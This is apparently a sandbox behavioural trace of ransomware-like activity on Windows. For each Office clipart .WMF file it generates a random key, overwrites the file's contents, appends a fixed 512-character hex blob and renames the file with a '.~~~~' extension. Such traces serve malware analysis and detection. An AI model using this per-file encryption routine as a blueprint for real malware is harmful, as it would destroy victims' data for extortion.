	[0117.049] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02228_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02228_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02228_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02228_.wmf.~~~~")) returned 1
	[0117.097] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6bc8 | out: hHeap=0x300000) returned 1
	[0117.097] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0117.097] GetLastError () returned 0x0
	[0117.097] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0117.098] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0117.098] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0117.098] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0117.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0117.099] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0117.099] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23708868417) returned 1
	[0117.099] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xaf485810, dwHighDateTime=0x1d60e1e)) 
	[0117.099] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0117.099] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0117.099] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0117.099] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e8dc0
	[0117.099] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0117.099] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8dc0 | out: hHeap=0x300000) returned 1
	[0117.099] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0117.099] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0117.099] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6bc8
	[0117.099] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0117.099] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b1e60
	[0117.099] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6bc8 | out: hHeap=0x300000) returned 1
	[0117.099] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0117.100] GetLastError () returned 0x0
	[0117.100] GetLastError () returned 0x0
	[0117.100] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0117.100] GetLastError () returned 0x0
	[0117.100] GetLastError () returned 0x0
	[0117.784] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffffa8c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.784] WriteFile (in: hFile=0x11c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x574, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x574, lpOverlapped=0x0) returned 1
	[0117.786] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0117.786] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.786] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0117.787] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0117.787] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0117.787] CloseHandle (hObject=0x11c) returned 1
	[0117.787] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0117.787] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02465_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02465_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02465_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02465_.wmf.~~~~")) returned 1
	[0117.789] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0117.789] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0117.789] GetLastError () returned 0x0
	[0117.789] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0117.791] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0117.791] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0117.791] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0117.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0117.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0117.791] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23778107047) returned 1
	[0117.791] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xafb375f0, dwHighDateTime=0x1d60e1e)) 
	[0117.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0117.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0117.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0117.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9098
	[0117.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0117.792] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9098 | out: hHeap=0x300000) returned 1
	[0117.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0117.792] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0117.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0117.792] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0117.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1f98
	[0117.792] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0117.792] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0117.792] GetLastError () returned 0x0
	[0117.793] GetLastError () returned 0x0
	[0117.793] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0117.793] GetLastError () returned 0x0
	[0117.793] GetLastError () returned 0x0
	[0118.189] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff5ea, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0118.189] WriteFile (in: hFile=0x11c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0xa16, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0xa16, lpOverlapped=0x0) returned 1
	[0118.190] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0118.190] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0118.190] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0118.190] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0118.190] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0118.190] CloseHandle (hObject=0x11c) returned 1
	[0118.190] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b3568
	[0118.191] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby2.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY2.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby2.wmf.~~~~")) returned 1
	[0118.192] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b3568 | out: hHeap=0x300000) returned 1
	[0118.192] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0118.192] GetLastError () returned 0x0
	[0118.204] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0118.205] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0118.205] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0118.205] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0118.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0118.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0118.206] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23819574112) returned 1
	[0118.206] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xaff159b0, dwHighDateTime=0x1d60e1e)) 
	[0118.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0118.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0118.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0118.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e93a8
	[0118.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0118.206] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e93a8 | out: hHeap=0x300000) returned 1
	[0118.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0118.206] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0118.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0118.206] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0118.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b3600
	[0118.207] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0118.207] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0118.207] GetLastError () returned 0x0
	[0118.207] GetLastError () returned 0x0
	[0118.207] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0118.207] GetLastError () returned 0x0
	[0118.207] GetLastError () returned 0x0
	[0118.253] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffffcda, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0118.253] WriteFile (in: hFile=0x11c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x326, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x326, lpOverlapped=0x0) returned 1
	[0118.254] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0118.254] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0118.254] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0118.254] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0118.254] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0118.255] CloseHandle (hObject=0x11c) returned 1
	[0118.255] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0118.255] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01462_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01462_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01462_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01462_.wmf.~~~~")) returned 1
	[0118.299] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0118.299] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0118.299] GetLastError () returned 0x0
	[0118.759] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0118.760] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0118.760] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0118.760] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0118.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0118.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0118.760] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23875061307) returned 1
	[0118.761] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb0470b30, dwHighDateTime=0x1d60e1e)) 
	[0118.761] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0118.761] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0118.761] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0118.761] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9568
	[0118.761] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0118.761] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9568 | out: hHeap=0x300000) returned 1
	[0118.761] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0118.761] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0118.761] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0118.761] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0118.761] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b3a28
	[0118.761] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0118.761] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0118.761] GetLastError () returned 0x0
	[0118.761] GetLastError () returned 0x0
	[0118.761] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0118.762] GetLastError () returned 0x0
	[0118.762] GetLastError () returned 0x0
	[0119.288] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffff421e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0119.288] WriteFile (in: hFile=0x140, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xbde2, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0xbde2, lpOverlapped=0x0) returned 1
	[0119.289] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0119.289] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0119.290] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0119.290] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0119.290] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0119.290] CloseHandle (hObject=0x140) returned 1
	[0119.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0119.556] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00011_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00011_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00011_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00011_.wmf.~~~~")) returned 1
	[0119.581] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0119.582] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0119.582] GetLastError () returned 0x0
	[0119.772] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0119.863] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0119.863] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0119.863] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0119.863] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0119.863] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0119.863] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23985319380) returned 1
	[0119.872] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb0edab70, dwHighDateTime=0x1d60e1e)) 
	[0119.872] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0119.872] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0119.872] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0119.872] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e98e8
	[0119.872] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0119.873] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e98e8 | out: hHeap=0x300000) returned 1
	[0119.873] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0119.873] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0119.873] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f78e8
	[0119.873] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0119.873] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b4570
	[0119.873] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0119.873] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0119.873] GetLastError () returned 0x0
	[0119.873] GetLastError () returned 0x0
	[0119.873] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0119.873] GetLastError () returned 0x0
	[0119.874] GetLastError () returned 0x0
	[0119.910] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xfffff824, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0119.910] WriteFile (in: hFile=0x148, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x7dc, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x25dfec0*=0x7dc, lpOverlapped=0x0) returned 1
	[0119.912] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0119.912] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0119.912] WriteFile (in: hFile=0x148, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0119.912] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
